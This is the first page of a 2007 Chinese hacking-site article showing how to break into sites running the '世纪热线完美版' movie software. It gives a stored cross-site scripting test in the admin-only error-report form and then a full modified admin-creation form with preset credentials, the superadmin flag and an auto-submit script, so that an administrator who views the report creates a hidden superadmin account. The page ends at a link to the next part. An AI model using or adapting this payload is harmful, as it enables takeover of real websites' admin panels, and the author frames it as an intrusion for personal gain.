黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[组图]世纪热线完美版跨站漏洞提权入侵
      ★★★★★
世纪热线完美版跨站漏洞提权入侵
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-4-16

06年就这样像3389离我而去,07年就像4489在迎接着我们。不知不觉又长了一岁。06年可以说是注入淡却的一年。不过新的技术也在增长。

跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站

心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏洞。那么就自己下回来慢慢研究吧。

可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。

因为这个报告错误只有管理员能看,我们在报告错误里写上"<script>alert("樱花找漏洞了")</script>",如图1所示。



点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。



既然这个能执行,我们在来构造一些特殊的代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下:

以下是引用片段:
<form method="post" action="saveuser1.asp" name="form1" onsubmit="javascript:return check();">
 <table width="396" border="0" cellspacing="1" cellpadding="0">
 <tr bgcolor="#0099FF">
 <td height="25" width="392">
 <div align="center">
 <font size="2">新增管理员</font></div>
 </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">用 户 名  <input type="text" name="username" size="20">
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">初始密码  <input type="password" name="newpin" size="20">
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">确认密码  <input type="password" name="re_newpin" size="20">
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <p align="center"><span lang="zh-cn">&nbsp;</span>权限设置 <span lang="zh-cn">&nbsp;
 </span><select size="1" name="flag">
 <option selected value="4">====无管理权限====</option>
 <option value="3">====初级管理员====</option>
 <option value="2">====高级管理员====</option>
 <option value="1">====超级管理员====</option>
 </select></td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 </table>
 <p><input type="submit" name="Submit" value="确定"> </p>
 </form>
其实这个我们只在稍稍改动一下就可以了,改好的代码如下:
<form method="post" action="http://127.0.0.1/admin/saveuser1.asp">
 <table width="396" border="0" cellspacing="1" cellpadding="0">
 <tr bgcolor="#0099FF">
 <td height="25" width="392">
 <div align="center">
 <font size="2">新增管理员</font></div>
 </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">用 户 名  <input type="text" name="username" size="20" value="hacklu119"> '添加管理员名字
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">初始密码  <input type="password" name="newpin" size="20" value="hack11911"> '添加管理员密码
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <div align="center">
 <font size="2">确认密码  <input type="password" name="re_newpin" size="20" value="hack11911"> '确认管理员密码
 </font>
 </div>
 </td>
 <td height="30" style="color: black; border-style: none" width="138">
 <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
 </tr>
 <tr>
 <td height="30" style="color: black; border-style: none" width="253">
 <p align="center"><span lang="zh-cn">&nbsp;</span>权限设置 <span lang="zh-cn">&nbsp;
 </span><select size="1" name="flag">
 <option selected value="1">====无管理权限====</option> '设置为超级管理员,注意这里是1
 <option value="3">====初级管理员====</option>
 <option value="2">====高级管理员====</option>
 <option value="1">====超级管理员====</option>
 </select></td>
 <td height="30" style="color: black; border-style: none" width="138"> </td>
 </tr>
 </table>
 <p><input type="submit" name="Submit" value="确定"> </p>

 <p> </p>
 <p align="center">
<script language="javascript"> '用javascript脚本叫程序自动运行
this.document.forms[0].submit()
</script>
</div>
</form>

最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886